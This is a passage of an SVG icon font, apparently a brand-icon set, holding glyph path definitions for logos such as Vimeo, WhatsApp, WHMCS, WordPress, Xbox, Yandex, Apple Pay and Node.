-124.6 -109.1 -136.6 -125.7 -142c-7.19922 -2.2998 -70.2998 -18.0996 -152.5 -11.1992c-9.09961 -10.5 -21.0996 -24.3008 -29.7998 -33.7002 +c-15.8994 -17.1006 -25.7002 -33 -42.2998 -27.7998c-13.7998 4.19922 -13 25.0996 -13 25.0996l0.0996094 51.5996h-0.0996094c-120.1 33.8008 -118.4 158.4 -117 224.9s14.2998 120.2 50.9004 156.8c65.7998 60.4004 200.899 52.2998 200.899 52.2998 +c114.601 -0.5 166 -37.7998 178.7 -49.5zM457.9 161c13.2998 107.3 -4.90039 180.5 -40.6006 211.1c-10.7998 9.80078 -57.2002 39 -154.1 39.4004c0 0 -114.7 7.5 -170.4 -43c-31 -30.5996 -41.5 -76.0996 -42.5996 -131.6 +c-1.10059 -55.5 -7.10059 -161.601 94.7002 -189.801c-0.100586 0 -0.100586 0 0 0c0 0 -0.400391 -78.7998 -0.400391 -85.6992c-0.0996094 -10.5 5.7002 -11 11 -5.7002c16.2002 16.2998 68.2002 79 68.2002 79c69.7002 -4.5 125.2 9.2998 131.2 11.2002 +c14 4.5 90.0996 11.0996 103 115.1zM318.9 241.8c0.399414 -8.59961 -12.5 -9.2002 -12.9004 -0.599609c-1.09961 22 -11.4004 32.7002 -32.5996 33.8994c-8.60059 0.5 -7.80078 13.4004 0.699219 12.9004c27.9004 -1.5 43.4004 -17.5 44.8008 -46.2002zM339.2 230.5 +c1 42.4004 -25.5 75.5996 -75.7998 79.2998c-8.5 0.600586 -7.60059 13.5 0.899414 12.9004c58 -4.2002 88.9004 -44.1006 87.7998 -92.5c-0.0996094 -8.60059 -13.0996 -8.2002 -12.8994 0.299805zM386.2 217.1c0.0996094 -8.59961 -12.9004 -8.69922 -12.9004 -0.0996094 +c-0.599609 81.5 -54.8994 125.9 -120.8 126.4c-8.5 0.0996094 -8.5 12.8994 0 12.8994c73.7002 -0.5 133 -51.3994 133.7 -139.2zM374.9 119v-0.200195c-10.8008 -19 -31 -40 -51.8008 -33.2998l-0.199219 0.299805c-21.1006 5.90039 -70.8008 31.5 -102.2 56.5 +c-16.2002 12.7998 -31 27.9004 -42.4004 42.4004c-10.2998 12.8994 -20.7002 28.2002 -30.7998 46.5996c-21.2998 38.5 -26 55.7002 -26 55.7002c-6.7002 20.7998 14.2002 41 33.2998 51.7998h0.200195c9.2002 4.7998 18 3.2002 23.9004 -3.89941 +c0 0 12.3994 -14.8008 17.6992 -22.1006c5 -6.7998 11.7002 -17.7002 15.2002 -23.7998c6.10059 -10.9004 2.2998 -22 -3.7002 -26.5996l-12 -9.60059c-6.09961 -4.89941 -5.2998 -14 -5.2998 -14s17.7998 -67.2998 84.2998 -84.2998c0 0 9.10059 -0.799805 14 5.2998 +l9.60059 12c4.59961 6 15.7002 9.7998 26.5996 3.7002c14.7002 -8.2998 33.4004 -21.2002 45.7998 -32.9004c7 -5.69922 8.60059 -14.3994 3.80078 -23.5996z" /> + <glyph glyph-name="vimeo" unicode="" +d="M403.2 416c24.7002 0 44.7998 -20.0996 44.7998 -44.7998v-358.4c0 -24.7002 -20.0996 -44.7998 -44.7998 -44.7998h-358.4c-24.7002 0 -44.7998 20.0996 -44.7998 44.7998v358.4c0 24.7002 20.0996 44.7998 44.7998 44.7998h358.4zM377 267.2 +c1.90039 42.2002 -13.7998 63.7998 -47.0996 64.7002c-44.9004 1.39941 -75.3008 -23.9004 -91.2002 -76c19.8994 8.5 49.2998 10.7998 45.7998 -22.4004c-1 -11.2002 -8.2998 -27.5 -21.7998 -48.9004c-37.7002 -59.3994 -46.9004 -39.5996 -67.6006 91.6006 +c-5.7998 36.8994 -21.2998 54.0996 -46.5 51.7002c-22.2998 -2 -57.8994 -38.4004 -95.1992 -71.2002l15.1992 -19.6006c14.5 10.1006 23 15.2002 25.4004 15.2002c21 0 31.9004 -54.7002 57.4004 -148c13.0996 -34.8994 29 -52.2998 47.8994 -52.2998 +c30.4004 0 67.7002 28.5996 111.7 85.7998c42.5996 54.7002 64.5996 97.9004 66 129.4z" /> + <glyph glyph-name="vnv" unicode="" horiz-adv-x="640" +d="M104.9 96c-34.1006 0 -46.4004 30.4004 -46.4004 30.4004l-55.9004 111.5s-10.3994 18.0996 10.4004 18.0996h32.7998c10.4004 0 13.2002 -8.7002 18.7998 -18.0996l36.7002 -74.5s5.2002 -13.1006 21.1006 -13.1006c15.8994 0 21.0996 13.1006 21.0996 13.1006 +l36.7002 74.5c5.59961 9.5 8.39941 18.0996 18.7998 18.0996h32.7998c20.7998 0 10.4004 -18.0996 10.4004 -18.0996l-55.7998 -111.5s-12.2002 -30.4004 -46.4004 -30.4004h-35.0996zM499.9 96c-34.1006 0 -46.4004 30.4004 -46.4004 30.4004l-55.9004 111.5 +s-10.3994 18.0996 10.4004 18.0996h32.7998c10.4004 0 13.2002 -8.7002 18.7998 -18.0996l36.7002 -74.5s5.2002 -13.1006 21.1006 -13.1006c15.8994 0 21.0996 13.1006 21.0996 13.1006l36.7998 74.5c5.60059 9.5 8.40039 18.0996 18.7998 18.0996h32.9004 +c20.7998 0 10.4004 -18.0996 10.4004 -18.0996l-55.9004 -111.5s-12.2002 -30.4004 -46.4004 -30.4004h-35.1992zM337.6 256c34.1006 0 46.4004 -30.4004 46.4004 -30.4004l55.9004 -111.5s10.3994 -18.0996 -10.4004 -18.0996h-32.7998 +c-10.4004 0 -13.2002 8.7002 -18.7998 18.0996l-36.7002 74.5s-5.2002 13.1006 -21.1006 13.1006c-15.8994 0 -21.0996 -13.1006 -21.0996 -13.1006l-36.7002 -74.5c-5.59961 -9.39941 -8.39941 -18.0996 -18.7998 -18.0996h-32.9004 +c-20.7998 0 -10.3994 18.0996 -10.3994 18.0996l55.8994 111.5s12.2002 30.4004 46.4004 30.4004h35.0996z" /> + <glyph glyph-name="whatsapp-square" unicode="" +d="M224 325.2c35.2002 0 68.2002 -13.7002 93.2002 -38.7002c24.8994 -24.9004 40.0996 -58 40.0996 -93.2002c0 -72.7002 -60.7002 -131.8 -133.3 -131.8h-0.0996094c-23.7002 0 -46.9004 6.40039 -67.1006 18.4004l-4.7998 2.89941l-49.9004 -13.0996l13.3008 48.5996 +l-3.10059 5c-13.2002 20.9004 -20.2002 45.2002 -20.2002 70.1006c0.100586 72.6992 59.2002 131.8 131.9 131.8zM301.5 136.8c3.2998 9.2002 3.2998 17.2002 2.40039 19.1006c-1 1.59961 -3.60059 2.59961 -7.60059 4.59961s-23.5 11.5996 -27.0996 12.9004 +c-3.60059 1.2998 -6.2998 2 -8.90039 -2c-2.59961 -3.90039 -10.2002 -12.9004 -12.5 -15.5c-2.2998 -2.7002 -4.59961 -3 -8.59961 -1c-23.2998 11.6992 -38.6006 20.7998 -53.9004 47.0996c-4.09961 7 4 6.40039 11.6006 21.5996 +c1.39941 2.60059 0.699219 4.90039 -0.300781 6.90039s-8.89941 21.5 -12.1992 29.4004c-3.2002 7.69922 -6.5 6.69922 -8.90039 6.7998c-2.2998 0.0996094 -5 0.0996094 -7.59961 0.0996094c-2.7002 0 -7 -1 -10.6006 -5c-3.7002 -4 -13.8994 -13.5996 -13.8994 -33.0996 +s14.1992 -38.4004 16.1992 -41c2 -2.60059 28 -42.6006 67.7002 -59.7998c25.1006 -10.8008 34.9004 -11.8008 47.5 -9.90039c7.60059 1.09961 23.4004 9.5 26.7002 18.7998zM400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48 +v352c0 26.5 21.5 48 48 48h352zM223.9 34.7998c87.3994 0 160.1 71.1006 160.1 158.5c0 42.4004 -18 82.2002 -47.9004 112.2c-30 30 -69.7998 46.5 -112.199 46.5c-87.4004 0 -158.5 -71.0996 -158.601 -158.5c0 -28 7.2998 -55.2998 21.2002 -79.2998l-22.5 -82.2002 +l84.0996 22.0996c23.1006 -12.5996 49.2002 -19.2998 75.8008 -19.2998z" /> + <glyph glyph-name="whmcs" unicode="" +d="M448 287l-29.0996 -7l-2.2002 -12.0996l20.8994 -18.8008l-10.2998 -20.0996l-28.7998 8.7998l-7.7998 -8.09961l8.7998 -28l-20.4004 -12.1006l-20.6992 21.6006l-11.6006 -3.5l-6.7002 -28.7998l-22.5996 0.299805l-6.7002 28.5l-11.5996 2.89941l-19.4004 -20.3994 +l-19.8994 11.5996l8.09961 26.9004l-7.2002 8.59961l-29.5996 -7.5l-10.4004 18.5l20.1006 19.9004l-2.40039 12.0996l-28.7998 7.5l0.299805 21.7002l28.5 7.7998l2.90039 10.4004l-20.7002 21l11 19.0996l28.5 -7.5l8.09961 8.40039l-8.09961 27.7002l19.3994 11 +l19.7002 -21l12.1006 3.19922l6.19922 26.4004h22.6006l7 -26.4004l10.7002 -3.19922l21.2998 21l19.0996 -11.6006l-7.5 -28.2002l7.2002 -7.5l29 7.5l10.4004 -19.3994l-20.1006 -20.7002l2.2002 -10.4004l28.5 -8.7998v-21.2998zM328.8 241.8 +c31.4004 0 56.7998 25.2998 56.7998 56.7998c0 31.4004 -25.3994 56.8008 -56.7998 56.8008c-31.3994 0 -56.7998 -25.4004 -56.7998 -56.8008c0 -31.3994 25.5 -56.7998 56.7998 -56.7998zM401.1 225.4l46.9004 -14.5v-39.9004l-55.0996 -13.4004l-4.10059 -22.6992 +l38.9004 -35.3008l-19.2002 -37.8994l-54 16.7002l-14.5996 -15.2002l16.6992 -52.5l-38.2998 -22.7002l-38.8994 40.5l-21.7002 -6.59961l-12.6006 -54l-42.3994 0.5l-12.6006 53.5996l-21.6992 5.59961l-36.4004 -38.3994l-37.4004 21.7002l15.2002 50.5l-13.7002 16.0996 +l-55.5 -14.0996l-19.6992 34.7998l37.8994 37.3994l-4.7998 22.8008l-54 14.0996l0.5 40.9004l53.5 14.6992l5.7002 19.7002l-38.9004 39.4004l20.7002 35.7998l53.5996 -14.0996l15.2002 15.6992l-15.2002 52l36.4004 20.7002l36.7998 -39.3994l22.7002 6.09961l11.5996 52 +h42.4004l11.5996 -45.9004l-22.5996 5.90039l-6.2998 1.7002l-3.2998 -5.7002l-11 -19.0996l-3.30078 -5.60059l4.60059 -4.59961l17.2002 -17.4004l-0.300781 -1l-23.7998 -6.5l-6.2002 -1.7002l-0.0996094 -6.39941l-0.200195 -12.9004 +c-47.5 -10.3994 -83.2998 -52.7998 -83.2998 -103.5c0 -58.2998 47.2998 -105.7 105.7 -105.7c50.5 0 92.7002 35.4004 103.2 82.8008l13.1992 -0.200195l6.90039 -0.100586l1.59961 6.7002l5.60059 24l1.89941 0.600586l17.1006 -17.8008l4.7002 -4.89941l5.7998 3.39941 +l20.3994 12.1006l5.80078 3.5l-2 6.5z" /> + <glyph glyph-name="wordpress-simple" unicode="" horiz-adv-x="512" +d="M256 440c136.7 0 248 -111.2 248 -248c0 -136.7 -111.3 -248 -248 -248s-248 111.3 -248 248c0 136.8 111.3 248 248 248zM33 192c0 -88.2002 51.2998 -164.5 125.7 -200.7l-106.4 291.4c-12.3994 -27.7002 -19.2998 -58.4004 -19.2998 -90.7002zM256 -31 +c26 0 50.9004 4.5 74 12.5996c-0.599609 1 -1.09961 2 -1.59961 3.10059l-68.5 187.8l-66.9004 -194.4c20 -5.89941 41.0996 -9.09961 63 -9.09961zM286.7 296.5l80.7002 -239.6l22.1992 74.2998c9.7002 30.8994 17 53 17 72.0996c0 27.6006 -9.89941 46.7002 -18.3994 61.5 +c-11.2998 18.4004 -21.9004 33.9004 -21.9004 52.2998c0 20.5 15.5 39.6006 37.4004 39.6006c1 0 1.89941 -0.100586 2.89941 -0.200195c-39.6992 36.2998 -92.5996 58.5 -150.6 58.5c-77.9004 0 -146.4 -40 -186.3 -100.5 +c5.2998 -0.200195 10.2002 -0.299805 14.3994 -0.299805c23.3008 0 59.4004 2.7998 59.4004 2.7998c12 0.700195 13.4004 -17 1.40039 -18.4004c0 0 -12.1006 -1.39941 -25.5 -2.09961l81.1992 -241.5l48.8008 146.3l-34.7002 95.2002 +c-12 0.700195 -23.4004 2.09961 -23.4004 2.09961c-12 0.700195 -10.5996 19.1006 1.40039 18.4004c0 0 36.7998 -2.7998 58.7002 -2.7998c23.2998 0 59.3994 2.7998 59.3994 2.7998c12 0.700195 13.4004 -17 1.40039 -18.4004c0 0 -12.1006 -1.39941 -25.5 -2.09961z +M368.1 -0.700195c66.3008 38.6006 110.9 110.4 110.9 192.7c0 38.7998 -9.90039 75.2002 -27.2998 107c1 -7.09961 1.5 -14.7002 1.5 -22.9004c0 -22.6992 -4.2998 -48.0996 -17 -79.8994z" /> + <glyph glyph-name="xbox" unicode="" horiz-adv-x="512" +d="M369.9 129.8c44.2998 -54.2998 64.6992 -98.7998 54.3994 -118.7c-7.89941 -15.0996 -56.7002 -44.5996 -92.5996 -55.8994c-29.6006 -9.2998 -68.4004 -13.2998 -100.4 -10.2002c-38.2002 3.7002 -76.8994 17.4004 -110.1 39 +c-27.9004 18.2002 -34.2002 25.7002 -34.2002 40.5996c0 29.9004 32.9004 82.3008 89.2002 142.101c32 33.8994 76.5 73.7002 81.3994 72.5996c9.40039 -2.09961 84.3008 -75.0996 112.301 -109.5zM188.6 304.2c-66.3994 -81.5 -106 -155.4 -120.3 -194.4 +c-9.7998 -26.5 -13.7002 -53 -9.5 -64c2.7998 -7.39941 0.200195 -4.7002 -9.2998 9.90039c-23.2002 35.5 -34.9004 70.3994 -40.5 120.899c-1.90039 16.7002 -1.2002 26.3008 4.2002 60.5c6.7998 42.7002 31.0996 92 60.2998 122.4 +c12.4004 12.9004 13.5 13.2002 28.7002 8.09961c28.2998 -9.5 56.7002 -36.5 86.3994 -63.3994zM500.2 240.7c4.7002 -22.6006 5.09961 -70.9004 0.799805 -93.4004c-3.59961 -18.5 -11.2002 -42.5 -18.5996 -58.7002c-5.5 -12.1992 -19.3008 -35.7998 -25.4004 -43.5 +c-3.09961 -3.89941 -3.09961 -3.89941 -1.40039 4.60059c2.30078 11.2002 -0.599609 31.5996 -7.39941 52.2998c-20.7002 62.9004 -80.5 149 -122.9 202.3c23.2998 21.4004 41 38.2998 64.2998 52.7998c11.8008 7.40039 28.7002 13.9004 36 13.9004 +c7.10059 0 57.7002 -50.2998 74.6006 -130.3zM141.3 405c-14.5996 -0.700195 -14 0.0996094 9.40039 11.2002c81.2002 38.2998 170 27.5996 233.899 -11.7002c-13.3994 0.599609 -43.5 5.90039 -107.399 -25.2002c-11.2002 -5.5 -20.9004 -9.7998 -21.6006 -9.7002 +c-4.59961 0.900391 -66.5996 37.9004 -114.3 35.4004z" /> + <glyph glyph-name="yandex" unicode="" horiz-adv-x="256" +d="M153.1 132.2l-87.3994 -196.2h-63.7002l96 209.8c-45.0996 22.9004 -75.2002 64.4004 -75.2002 141.101c-0.0996094 107.399 68 161.1 148.9 161.1h82.2998v-512h-55.0996v196.2h-45.8008zM198.9 401.5h-29.4004c-44.4004 0 -87.4004 -29.4004 -87.4004 -114.6 +c0 -82.3008 39.4004 -108.801 87.4004 -108.801h29.4004v223.4z" /> + <glyph glyph-name="yandex-international" unicode="" horiz-adv-x="320" +d="M129.5 -64v166.1l-111 297.9h55.7998l81.7998 -229.7l94.1006 277.7h51.2998l-120.7 -347.8v-164.2h-51.2998z" /> + <glyph glyph-name="apple-pay" unicode="" horiz-adv-x="640" +d="M116.9 289.5c-7.5 -8.90039 -19.5 -15.9004 -31.5 -14.9004c-1.5 12 4.39941 24.8008 11.2998 32.6006c7.5 9.09961 20.5996 15.5996 31.2998 16.0996c1.2002 -12.3994 -3.7002 -24.7002 -11.0996 -33.7998zM127.8 272.3c6.7998 -0.5 26.2998 -2.5 38.7998 -21.0996 +c-1 -0.799805 -23.1992 -13.5 -22.8994 -40.2998c0.299805 -32 28 -42.6006 28.2998 -42.9004c-0.200195 -0.799805 -4.40039 -15.0996 -14.5 -29.9004c-8.90039 -13 -18 -25.6992 -32.5 -26c-14 -0.199219 -18.7002 8.40039 -34.7998 8.40039 +c-16 0 -21.2002 -8.09961 -34.5 -8.59961c-14 -0.5 -24.6006 13.7998 -33.5 26.7998c-18.2002 26.2998 -32.1006 74 -13.2998 106.3c9.09961 16.0996 25.6992 26.2002 43.5996 26.5c13.7998 0.299805 26.4004 -9.09961 34.7998 -9.09961 +c8.2002 0 23.1006 10.8994 40.5 9.89941zM228.2 308.5h73.2002c37.6992 0 64.0996 -26 64.0996 -64s-26.7998 -64.2998 -65.0996 -64.2998h-41.9004v-66.6006h-30.2998v194.9zM258.5 283v-77.4004h34.7998c26.4004 0 41.4004 14.2002 41.4004 38.8008 +c0 24.5996 -15 38.5996 -41.2998 38.5996h-34.9004zM420.7 112.1c-28.1006 0 -47.7002 16.8008 -47.7998 42c0 25 19 39.4004 54.0996 41.5l37.7998 2.30078v10.7998c0 15.8994 -10.3994 24.5 -28.8994 24.5c-15.2002 0 -26.3008 -7.90039 -28.6006 -19.9004h-27.2998 +c0.900391 25.2002 24.7002 43.6006 56.7998 43.6006c34.6006 0 57.1006 -18.2002 57.1006 -46.3008v-97h-28v23.4004h-0.600586c-8 -15.2998 -25.5996 -24.9004 -44.5996 -24.9004zM428.9 135.2c20.5 0 36 13 36 31.2002v11l-33.6006 -2.10059 +c-18.8994 -1.09961 -28.7998 -8.2002 -28.7998 -20.5c0 -11.7998 10.2998 -19.5996 26.4004 -19.5996zM531.4 60.5996c-2.30078 0 -9.80078 0.300781 -11.6006 0.700195v23.4004c1.90039 -0.200195 6.5 -0.5 8.90039 -0.5c13.3994 0 20.8994 5.7002 25.5 20.2998 +l2.7998 8.59961l-51.2002 141.9h31.6006l35.5996 -115.1h0.599609l35.6006 115.1h30.7998l-53.0996 -149c-12.1006 -34.0996 -26 -45.4004 -55.5 -45.4004z" /> + <glyph glyph-name="cc-apple-pay" unicode="" horiz-adv-x="576" +d="M302.2 229.6c0 -17.1992 -10.5 -27.0996 -29 -27.0996h-24.2998v54.2002h24.3994c18.4004 0 28.9004 -9.7998 28.9004 -27.1006zM349.7 167c0 8.59961 6.89941 13.5 20.2002 14.4004l23.5 1.5v-7.7002c0 -12.7998 -10.8008 -21.9004 -25.2002 -21.9004 +c-11.2998 0 -18.5 5.40039 -18.5 13.7002zM576 369v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM127.8 250.8c8.40039 -0.700195 16.7998 4.2002 22.1006 10.4004 +c5.19922 6.39941 8.59961 15 7.69922 23.7002c-7.39941 -0.300781 -16.5996 -4.90039 -21.8994 -11.3008c-4.7998 -5.5 -8.90039 -14.3994 -7.90039 -22.7998zM188.4 176.3c-0.200195 0.200195 -19.6006 7.60059 -19.8008 30c-0.199219 18.7002 15.3008 27.7002 16 28.2002 +c-8.7998 13 -22.3994 14.4004 -27.0996 14.7002c-12.2002 0.700195 -22.5996 -6.90039 -28.4004 -6.90039c-5.89941 0 -14.6992 6.60059 -24.2998 6.40039c-12.5 -0.200195 -24.2002 -7.2998 -30.5 -18.6006c-13.0996 -22.5996 -3.39941 -56 9.2998 -74.3994 +c6.2002 -9.10059 13.7002 -19.1006 23.5 -18.7002c9.30078 0.400391 13 6 24.2002 6c11.2998 0 14.5 -6 24.2998 -5.90039c10.2002 0.200195 16.5 9.10059 22.8008 18.2002c6.89941 10.4004 9.7998 20.4004 10 21zM323.8 229.7c0 26.5996 -18.5 44.7998 -44.8994 44.7998 +h-51.2002v-136.4h21.2002v46.6006h29.2998c26.7998 0 45.5996 18.3994 45.5996 45zM413.8 206c0 19.7002 -15.7998 32.4004 -40 32.4004c-22.5 0 -39.0996 -12.9004 -39.7002 -30.5h19.1006c1.59961 8.39941 9.39941 13.8994 20 13.8994c13 0 20.2002 -6 20.2002 -17.2002 +v-7.5l-26.4004 -1.59961c-24.5996 -1.5 -37.9004 -11.5996 -37.9004 -29.0996c0 -17.7002 13.7002 -29.4004 33.4004 -29.4004c13.2998 0 25.5996 6.7002 31.2002 17.4004h0.399414v-16.4004h19.6006v68h0.0996094zM516 237.1h-21.5l-24.9004 -80.5996h-0.399414 +l-24.9004 80.5996h-22.2998l35.9004 -99.2998l-1.90039 -6c-3.2002 -10.2002 -8.5 -14.2002 -17.9004 -14.2002c-1.69922 0 -4.89941 0.200195 -6.19922 0.300781v-16.4004c1.19922 -0.400391 6.5 -0.5 8.09961 -0.5c20.7002 0 30.4004 7.90039 38.9004 31.7998z" /> + <glyph glyph-name="fly" unicode="" horiz-adv-x="384" +d="M197.8 20.2002c12.9004 -11.7002 33.7002 -33.2998 33.2002 -50.7002c0 -0.799805 -0.0996094 -1.59961 -0.0996094 -2.5c-1.80078 -19.7998 -18.8008 -31.0996 -39.1006 -31c-25 0.0996094 -39.8994 16.7998 -38.7002 35.7998c1 16.2002 20.5 36.7002 32.4004 47.6006 +c2.2998 2.09961 2.7002 2.69922 5.59961 3.59961c3.40039 0 3.90039 -0.299805 6.7002 -2.7998zM331.9 380.7c23.8994 -40 27.7998 -73.2998 20.7998 -112.5c-15.2002 -69.9004 -103.601 -166.5 -155.9 -215.7c-1.7002 -1.59961 -1.39941 -1.40039 -3.5 -2.09961 +l-3.2998 0.0996094c-1.7002 0.599609 -4.5 3.5 -6.2002 5.09961c-58.7998 57.8008 -148.7 151.601 -155.8 233.801c-1.5 71.3994 29.2998 113.399 82.9004 141.3c9.89941 4.09961 37 17.2998 81.0996 17.2998c22 0.200195 51.0996 -4.5 76.5996 -15.2002 +c24.7002 -11.5 47 -26.3994 63.3008 -52.0996zM186.8 96.0996v325.7c-57.8994 -5.5 -72.7002 -89.2002 -69.2998 -136.7c4.09961 -58.2998 41.2998 -137.899 69.2998 -189zM328.7 268c15.7998 54.9004 -10.9004 134.7 -99.7002 153 +c38.2002 -25.5996 49.5996 -85.5 48 -131.4c-2 -58.5996 -39.4004 -140 -67.2002 -191.899c41.6006 42.2998 102.5 113.5 118.9 170.3z" /> + <glyph glyph-name="node" unicode="" horiz-adv-x="640" +d="M316.3 -4c-2.09961 0 -4.2002 0.599609 -6.09961 1.59961l-19.2002 11.4004c-2.90039 1.59961 -1.5 2.2002 -0.5 2.5c3.7998 1.2998 4.59961 1.59961 8.7002 4c0.399414 0.200195 1 0.0996094 1.39941 -0.0996094l14.8008 -8.80078 +c0.5 -0.299805 1.2998 -0.299805 1.7998 0l57.7998 33.4004c0.5 0.299805 0.900391 0.900391 0.900391 1.59961v66.7002c0 0.700195 -0.300781 1.2998 -0.900391 1.60059l-57.7998 33.2998c-0.5 0.299805 -1.2002 0.299805 -1.7998 0l-57.8008 -33.2998 +c-0.599609 -0.300781 -0.899414 -1 -0.899414 -1.60059v-66.7002c0 -0.599609 0.399414 -1.19922 0.899414 -1.5l15.8008 -9.09961c8.59961 -4.2998 13.8994 0.799805 13.8994 5.7998v65.9004c0 0.899414 0.700195 1.7002 1.7002 1.7002h7.2998 +c0.900391 0 1.7002 -0.700195 1.7002 -1.7002v-65.9004c0 -11.5 -6.2002 -18 -17.0996 -18c-3.30078 0 -6 0 -13.3008 3.60059l-15.1992 8.69922c-3.7002 2.2002 -6.10059 6.2002 -6.10059 10.5v66.7002c0 4.2998 2.2998 8.40039 6.10059 10.5l57.7998 33.4004 +c3.7002 2.09961 8.5 2.09961 12.0996 0l57.7998 -33.4004c3.7002 -2.2002 6.10059 -6.2002 6.10059 -10.5v-66.7002c0 -4.2998 -2.2998 -8.39941 -6.10059 -10.5l-57.7998 -33.3994c-1.7002 -1.10059 -3.7998 -1.7002 -6 -1.7002zM363 61.7998 +c0 -12.5996 -10.5 -19.7998 -29 -19.7998c-25.2998 0 -30.5996 11.5996 -30.5996 21.2998c0 1 0.799805 1.7002 1.69922 1.7002h7.5c0.900391 0 1.60059 -0.599609 1.7002 -1.40039c1.10059 -7.59961 4.5 -11.3994 19.7998 -11.3994 +c12.2002 0 17.4004 2.7002 17.4004 9.2002c0 3.69922 -1.5 6.39941 -20.4004 8.2998c-15.7998 1.59961 -25.5996 5 -25.5996 17.7002c0 11.5996 9.7998 18.5996 26.2998 18.5996c18.5 0 27.6006 -6.40039 28.7998 -20.2002 +c0.100586 -0.5 -0.0996094 -0.899414 -0.399414 -1.2998c-0.299805 -0.299805 -0.700195 -0.5 -1.2002 -0.5h-7.5c-0.799805 0 -1.40039 0.5 -1.59961 1.2998c-1.80078 8 -6.2002 10.6006 -18.1006 10.6006c-13.2998 0 -14.7998 -4.60059 -14.7998 -8.10059 +c0 -4.2002 1.7998 -5.39941 19.7998 -7.7998c17.7998 -2.40039 26.2002 -5.7002 26.2002 -18.2002zM417.5 111.9c0 -6.10059 -5 -11.1006 -11.0996 -11.1006c-6.10059 0 -11.1006 5 -11.1006 11.1006c0 6.2998 5.2002 11.0996 11.1006 11.0996 +c6 0.0996094 11.0996 -4.7998 11.0996 -11.0996zM415.7 111.9c0 5.19922 -4.2002 9.2998 -9.40039 9.2998c-5.09961 0 -9.2998 -4.10059 -9.2998 -9.2998c0 -5.2002 4.2002 -9.40039 9.2998 -9.40039c5.2002 0.0996094 9.40039 4.2998 9.40039 9.40039zM411.2 105.7 +h-2.60059c-0.0996094 0.599609 -0.5 3.7998 -0.5 3.89941c-0.199219 0.700195 -0.399414 1.10059 -1.2998 1.10059h-2.2002v-5h-2.39941v12.5h4.2998c1.5 0 4.40039 0 4.40039 -3.2998c0 -2.30078 -1.5 -2.80078 -2.40039 -3.10059 +c1.7002 -0.0996094 1.7998 -1.2002 2.09961 -2.7998c0.100586 -1 0.300781 -2.7002 0.600586 -3.2998zM408.4 114.5c0 1.7002 -1.2002 1.7002 -1.80078 1.7002h-2v-3.5h1.90039c1.59961 0 1.90039 1.09961 1.90039 1.7998zM137.3 257l-0.200195 -95 +c0 -1.2998 -0.699219 -2.59961 -1.7998 -3.2002c-1.09961 -0.700195 -2.59961 -0.700195 -3.7002 0l-36.3994 20.9004c-2.2998 1.2998 -3.7002 3.7998 -3.7002 6.39941v44.4004c0 2.59961 -1.40039 5.09961 -3.7002 6.40039l-15.5 8.89941 +c-1.09961 0.700195 -2.39941 1 -3.7002 1c-1.2998 0 -2.5 -0.299805 -3.69922 -1l-15.5 -8.89941c-2.30078 -1.30078 -3.7002 -3.80078 -3.7002 -6.40039v-44.4004c0 -2.59961 -1.40039 -5 -3.7002 -6.39941l-36.4004 -20.9004 +c-1.19922 -0.700195 -2.59961 -0.700195 -3.69922 0c-1.10059 0.700195 -1.80078 1.90039 -1.80078 3.2002l-0.0996094 95c0 2.59961 1.40039 5.09961 3.7002 6.40039l61.2002 35.2998c1.09961 0.599609 2.19922 1 3.39941 1h0.600586 +c1.19922 -0.100586 2.39941 -0.400391 3.39941 -1l61.2998 -35.2998c2.30078 -1.30078 3.7002 -3.7002 3.7002 -6.40039zM472.5 360.7v-176.4c0 -2.59961 -1.40039 -5.09961 -3.7002 -6.39941l-61.2998 -35.4004c-2.2998 -1.2998 -5.09961 -1.2998 -7.40039 0 +l-61.2998 35.4004c-2.2998 1.2998 -3.7002 3.7998 -3.7002 6.39941v70.7998c0 2.60059 1.40039 5.10059 3.7002 6.40039l61.2998 35.4004c2.30078 1.2998 5.10059 1.2998 7.40039 0l15.2998 -8.80078c1.7002 -1 3.90039 0.300781 3.90039 2.2002v94 +c0 2.7998 3 4.60059 5.5 3.2002l36.5 -20.4004c2.2998 -1.19922 3.7998 -3.69922 3.7998 -6.39941zM426.5 231.8c0 0.700195 -0.400391 1.2998 -0.900391 1.60059l-21 12.1992c-0.599609 0.300781 -1.2998 0.300781 -1.89941 0l-21 -12.1992 +c-0.600586 -0.300781 -0.900391 -0.900391 -0.900391 -1.60059v-24.2998c0 -0.700195 0.400391 -1.2998 0.900391 -1.59961l21 -12.1006c0.599609 -0.299805 1.2998 -0.299805 1.7998 0l21 12.1006c0.599609 0.299805 0.900391 0.899414 0.900391 1.59961v24.2998h0.0996094 +zM636.3 232.5l-36.7002 -21.2998c-2.5 -1.40039 -5.59961 0.399414 -5.59961 3.2002v17.3994c0 1.2998 -0.799805 2.5 -1.90039 3.2002l-19.1992 11.0996c-1.10059 0.700195 -2.60059 0.700195 -3.7002 0l-19.2002 -11.0996 +c-1.2002 -0.700195 -1.90039 -1.90039 -1.90039 -3.2002v-22.2002c0 -1.2998 0.700195 -2.5 1.90039 -3.19922l61.7002 -35.4004c2.5 -1.40039 2.5 -5 0 -6.40039l-36.7998 -20.5c-2.30078 -1.2998 -5.10059 -1.2998 -7.30078 0l-60.8994 34.7002 +c-2.2998 1.2998 -3.7002 3.7002 -3.7002 6.40039v70.7998c0 2.59961 1.40039 5.09961 3.7002 6.40039l61.2998 35.3994c2.2998 1.2998 5.09961 1.2998 7.40039 0l60.8994 -35.3994c2.2998 -1.30078 3.7002 -3.80078 3.7002 -6.40039v-17.0996 +c0 -2.60059 -1.40039 -5.10059 -3.7002 -6.40039zM559 229l11.7998 6.7998c0.400391 0.299805 1 0.299805 1.40039 0l11.7998 -6.7998c0.400391 -0.200195 0.700195 -0.700195 0.700195 -1.2002v-13.5996c0 -0.5 -0.299805 -0.900391 -0.700195 -1.2002l-11.7998 -6.7998 +c-0.400391 -0.299805 -1 -0.299805 -1.40039 0l-11.7998 6.7998c-0.400391 0.200195 -0.700195 0.700195 -0.700195 1.2002v13.5996c0 0.5 0.299805 0.900391 0.700195 1.2002zM304.8 185.5c0 -0.599609 -0.0996094 -1.2002 -0.200195 -1.7002 +c-0.5 -2 -1.7998 -3.7002 -3.59961 -4.7002l-61 -35.1992c-2.2002 -1.30078 -5 -1.40039 -7.40039 0l-61.1992 35.1992c-2.10059 1.2002 -4 3.60059 -4 6.40039v70.4004c0 2.69922 1.59961 5.09961 3.89941 6.39941l61.1006 35.2002 +c2.39941 1.40039 5.2998 1.2002 7.39941 0l61.1006 